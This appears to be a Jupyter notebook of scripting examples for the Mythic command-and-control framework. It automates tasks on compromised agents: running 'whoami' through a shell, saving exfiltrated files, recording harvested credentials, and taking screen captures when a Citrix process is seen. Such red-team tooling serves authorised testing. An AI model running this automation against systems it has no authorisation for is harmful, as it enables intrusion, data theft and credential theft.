{
 "cells": [
  {
   "cell_type": "code",
   "execution_count": 2,
   "id": "332126f9-3524-4223-bcc6-24b9818b77b5",
   "metadata": {
    "tags": []
   },
   "outputs": [],
   "source": [
    "from mythic import mythic"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 3,
   "id": "abfa531f-5e7a-400b-910c-92a62106ccbe",
   "metadata": {
    "tags": []
   },
   "outputs": [],
   "source": [
    "mythic_instance = await mythic.login(\n",
    "        username=\"mythic_admin\",\n",
    "        password=\"mythic_password\",\n",
    "        server_ip=\"mythic_nginx\",\n",
    "        server_port=7443,\n",
    "        timeout=-1\n",
    "    )"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "id": "975eab51-1a38-4898-bd1b-273ac063c8a0",
   "metadata": {},
   "outputs": [],
   "source": [
    "# ########## On new callback issue task ###########\n",
    "async for callbacks in mythic.subscribe_new_callbacks(mythic=mythic_instance, batch_size=10):\n",
    "    print(callbacks)  # array based on batch size for how many to return at once\n",
    "    for callback in callbacks:\n",
    "        status = await mythic.issue_task(\n",
    "            mythic=mythic_instance,\n",
    "            command_name=\"shell\",\n",
    "            parameters={\"command\": \"whoami\"},\n",
    "            callback_display_id=callback[\"display_id\"],\n",
    "            wait_for_complete=False,\n",
    "        )\n",
    "        print(f\"Issued a task: {status}\")"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "id": "ab8a12e4-ea15-4d0d-bb97-f924a4e74364",
   "metadata": {},
   "outputs": [],
   "source": [
    "# ########## On file download, fetch file and write to disk ###########\n",
    "async for result in mythic.subscribe_all_downloaded_files(mythic=mythic_instance, batch_size=1):\n",
    "    for completed_file in result:\n",
    "        file_bytes = await mythic.download_file(mythic=mythic_instance, file_uuid=completed_file[\"agent_file_id\"])\n",
    "        with open(f\"{completed_file['filename_utf8']}-{completed_file['agent_file_id']}\", 'wb') as f:\n",
    "            f.write(file_bytes)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "id": "eb947608-9197-48f7-875d-5f6e8c6177eb",
   "metadata": {},
   "outputs": [],
   "source": [
    "# ########## On agent checking in, log information about it ###########\n",
    "agent_checkin_subscription = \"\"\"\n",
    "    subscription agentCheckedIn($now: timestamp!, $batch_size: Int!){\n",
    "        callback_stream(cursor: {initial_value: {last_checkin: $now}}, batch_size: $batch_size) {\n",
    "            id\n",
    "            agent_callback_id\n",
    "            display_id\n",
    "            last_checkin\n",
    "            host\n",
    "            domain\n",
    "            ip\n",
    "        }\n",
    "    }\n",
    "    \"\"\"\n",
    "    async for callbacks in mythic.subscribe_custom_query(mythic=mythic_instance, query=agent_checkin_subscription,\n",
    "                                                         variables={\"now\": str(datetime.utcnow()), \"batch_size\": 10}):\n",
    "        print(callbacks)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "id": "ecd656f0-e15c-48b9-b676-6ebfa36593bd",
   "metadata": {},
   "outputs": [],
   "source": [
    "# ########## On agent output, check if it's a certain command and parse the output to register credentials ###########\n",
    "async for responses in mythic.subscribe_all_task_output(mythic=mythic_instance):\n",
    "    for response in responses:\n",
    "        if response[\"task\"][\"command_name\"] == \"my special command\":\n",
    "            data = base64.b64decode(response[\"response_text\"]).decode()\n",
    "            await mythic.create_credential(mythic=mythic_instance, credential=data, realm=\"parsed realm\", account=\"associated account\", comment=\"auto populated from scripting\")"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 4,
   "id": "395538ae-7d42-4e7e-b6cc-677251b2ac04",
   "metadata": {
    "tags": []
   },
   "outputs": [],
   "source": [
    "# ########## Stream processes and take actions on certain ones ###########\n",
    "async for processes in mythic.subscribe_all_processes(mythic=mythic_instance, batch_size=20,\n",
    "                                                          custom_return_attributes=\"\"\"\n",
    "                                                            task {\n",
    "                                                                id\n",
    "                                                                display_id\n",
    "                                                                callback {\n",
    "                                                                    display_id\n",
    "                                                                    host\n",
    "                                                                }\n",
    "                                                            }\n",
    "                                                            timestamp\n",
    "                                                            host\n",
    "                                                            comment\n",
    "                                                            os\n",
    "                                                            name_text\n",
    "                                                            parent_path_text\n",
    "                                                            full_path_text\n",
    "                                                            metadata\n",
    "                                                          \"\"\"):\n",
    "    for process in processes:\n",
    "        #print(process)\n",
    "        if process[\"metadata\"][\"name\"] == \"citrix\":\n",
    "            try:\n",
    "                new_task = await mythic.issue_task(mythic=mythic_instance, command_name=\"screencapture\",\n",
    "                                                   parameters=\"\",\n",
    "                                                   callback_display_id=process[\"task\"][\"callback\"][\"display_id\"])\n",
    "                print(new_task)\n",
    "            except Exception as e:\n",
    "                print(e)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "id": "233a3056-b739-4e77-b6af-ba767e151520",
   "metadata": {},
   "outputs": [],
   "source": []
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3 (ipykernel)",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.10.10"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 5
}
